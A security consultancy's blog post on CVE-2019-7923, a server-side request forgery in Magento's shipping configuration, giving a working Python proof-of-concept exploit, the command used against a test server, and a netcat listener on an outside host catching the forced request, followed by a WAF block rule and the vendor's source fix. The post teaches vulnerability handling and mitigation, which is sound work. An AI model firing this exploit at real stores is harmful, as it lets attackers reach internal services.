Introduction

At Carve we perform at a lot of web application security assessments. Once we (1) find a vulnerability, we (2) confirm that it’s reproducible, write a proof of concept (PoC) exploit for the vulnerability to determine the impact, and then (3) focus on helping the customer fix the vulnerability with a set of recommendations for mitigations.

In this post, we walk through these steps using Magento as our target platform. For (1), we will use a published CVE. For (2), we will write our own.

For (3), we discuss two options. The first is a short-term mitigation that will provide immediate protection and is implemented by deploying a Web Application Firewall (WAF). The second is a long-term mitigation that is implemented by patching the actual backend code where the vulnerability was found.

The Vulnerability

We start by deploying Magento version 3.2.0 – an old version with multiple public CVEs – to an AWS EC2 instance. We’ll specifically target CVE-2019-7923, a server side request forgery vulnerability that allows a signed in admin user to force the Magento server to send an HTTP POST request to a host of their choosing, including internal services that might otherwise be protected by a firewall.

The PoC

A simple PoC is as follows:

##
# Exploit for CVE-2019-7923
#
# https://www.cvedetails.com/cve/CVE-2019-7923/
#
##

import argparse
import payload
import requests

# Build up a simple argument parser.
parser = argparse.ArgumentParser()
parser.add_argument("--url", help="The target Magento URL for the store settings.")
parser.add_argument("--target", help="The SSRF URL target.")
parser.add_argument("--cookie", help="The admin cookie.")
parser.add_argument("--form_key", help="The CSRF form key.")
args = parser.parse_args()

# Construct a paylod from the given arguments.
form_data = payload.form_data.copy()
form_data["form_key"] = args.form_key
form_data["groups[temando][fields][session_endpoint][value]"] = args.target
form_data["groups[temando][fields][account_id][value]"] = "12345678"
form_data["groups[temando][fields][bearer_token][value]"] = "ABCDEFGH"

# Send the request.
cookies = {"admin": args.cookie}
r = requests.post(args.url, cookies=cookies, data=form_data)

Using our Magento server in AWS, the exploit can be delivered like:

$ export URL='http://ec2-3-84-126-209.compute-1.amazonaws.com/magento/
admin_1rlerh/admin/system_config/save/key/
2e4b3bfcc5a2949e3717a9bc17fc1dd711c67229d778ec660360a3b1dcb792a7/section/carriers/'
$ export TARGET='http://45.55.179.16:8001' $ export COOKIE='ac6slpv0lm6tf0e98o8elvclb5' $ export FORM_KEY='dUH0bFg9zErKfuDl' $ python exploit.py --url $URL --target $TARGET --cookie $COOKIE --form_key $FORM_KEY

A listener waiting on the Internet shows the requests received on behalf of Magento:

$ nc -vvlp 8001
listening on [any] 8001 ...
connect to [45.55.179.16] from ec2-3-84-126-209.compute-1.amazonaws.com [3.84.126.209] 55138
POST /sessions HTTP/1.1
Host: 45.55.179.16:8001
Cache-Control: no-cache
Content-Type: application/vnd.api+json
Accept: application/vnd.api+json
Content-Length: 106

{"data":
   {"type":"session",
    "attributes":
      {"scope":"admin",
       "accountId":"12345678",
       "bearerToken":"ABCDEFGH"
      }
   }
 }

Mitigations

As engineers, we typically always strive to implement The Right Fix. However, in the real world that isn’t always immediately practical. In practice one often sees a two pronged strategy of a short-term fix and a long-term fix. The short-term fix will be deployed ASAP to limit the exposure of the vulnerability. The long-term fix will be implemented by the engineering team in the affected service.

So what does this look like for the vulnerability outlined above?

Short-Term

In the short term, we want to block the malicious request from going through as quickly as possible and without causing disruption in other parts of the application. This sounds like a good fit for a WAF. Many Carve customers use Signal Sciences with great results. Signal Sciences has a very handy reverse proxy agent that you can sit in front of your site without modifying the host installation. That is what we used for this experiment.

After the agent has been set up and is pointing at the upstream Magento instance, we define a rule to block the malicious request. We do this by only allowing certain whitelisted URLs to be passed to the vulnerable Magento endpoint thereby eliminating the SSRF vulnerability. This can be seen in the following figure:

A request rule used to block CVE-2019-7923

This rule instructs Signal Sciences to look for a POST parameter named groups[temando][fields][session_endpoint][value] and block any request where the value of that parameter does NOT equal ec2-ip.compute-1.amazonaws.com.

Now we run our PoC again:

$ python exploit.py --url $URL --target $TARGET --cookie $COOKIE --form_key $FORM_KEY

However, this time it is blocked by Signal Sciences:

Blocking the malicious request

Pretty cool. The exploit was blocked by creating a rule that took all of 1 minute to write.

Long-Term

Now that Signal Sciences is plugging the hole, what about the long-term? With some protection in place the engineering team can get to work writing a full patch to fix the vulnerability. Creating a full patch is still very important because there could be circumstances that cause the WAF to come down or be bypassed. Furthermore, the underlying vulnerable code might be distributed to other organizations that need the fix.

For this particular case, we can analyze the Magento source code to see the exact fix that was put in place. First let’s look at the Magento 3.2.0 code that we exploited (from the release tarball). The relevant piece is from module-shipping-m2/Model/Config/Backend/Active/CredentialsValidator.php:

public function getAuthenticationValidator()
{
    $callback = function (\Magento\Framework\App\Config\Value $field) {
        $enabled = $field->getValue();

        // read session endpoint from current save operation
        $sessionUrl = $field->getFieldsetDataValue('session_endpoint');
        // read account id from current save operation
        $accountId = $field->getFieldsetDataValue('account_id');
        // read bearer token from current save operation
        $bearerToken = $field->getFieldsetDataValue('bearer_token');

        if (!$enabled && !$accountId && !$bearerToken) {
            // it's ok to leave credentials empty as long as shipping method is disabled.
            return true;
        }

        try {
            return $this->connection->test($sessionUrl, $accountId, $bearerToken);
        } catch (\Exception $e) {
            return false;
        }
    };

    $validator = new \Zend_Validate_Callback($callback);
    $message = __('Magento Shipping authentication failed. Please check your credentials.');
    $validator->setMessage($message);

    return $validator;
}

It is plain to see that the URL in session_endpoint is blindly reached out to with $this->connection->test($sessionUrl, $accountId, $bearerToken);. A proper fix would change that code to whitelist valid URLs. This is exactly what Magento 3.3.3 does by only allowing sub-domains of termando.io:

public function getUriEndpointValidator()
{
    $callback = function (\Magento\Framework\App\Config\Value $field, UriValidator $uriValidator) {
        // read session endpoint from current save operation
        $sessionUrl = $field->getFieldsetDataValue('session_endpoint');

        if (empty($sessionUrl)) {
            return true;
        }

        if (!preg_match('/^https?:\/\/[\dA-Za-z\-\.]+\.temando\.io\/?$/', $sessionUrl)) {
            return false;
        }

        return $uriValidator->isValid($sessionUrl);
    };

    $uriValidator = new UriValidator(['uriHandler' => \Zend\Uri\Http::class]);
    $message = __('Please enter a valid URL. Protocol (http://, https://) is required.');

    $validator = new CallbackValidator($callback);
    $validator->setCallbackOptions([$uriValidator]);
    $validator->setMessage($message, CallbackValidator::INVALID_VALUE);

    return $validator;
}

It is interesting to note that the Signal Sciences fix effectively did the exact same thing without touching a line of source code.

Conclusion

In this post we have walked through the steps of finding an exploit, writing a PoC for it, and different strategies for fixing the vulnerability. By deploying a two phased mitigation strategy we have provided immediate protection against the vulnerability while giving the engineering team time to re-prioritize engineering efforts when creating a long-term fix. Although we showcased this strategy with SSRF, the general concept is applicable to numerous sorts of data validation flaws. Some of which we will explore in follow-on posts.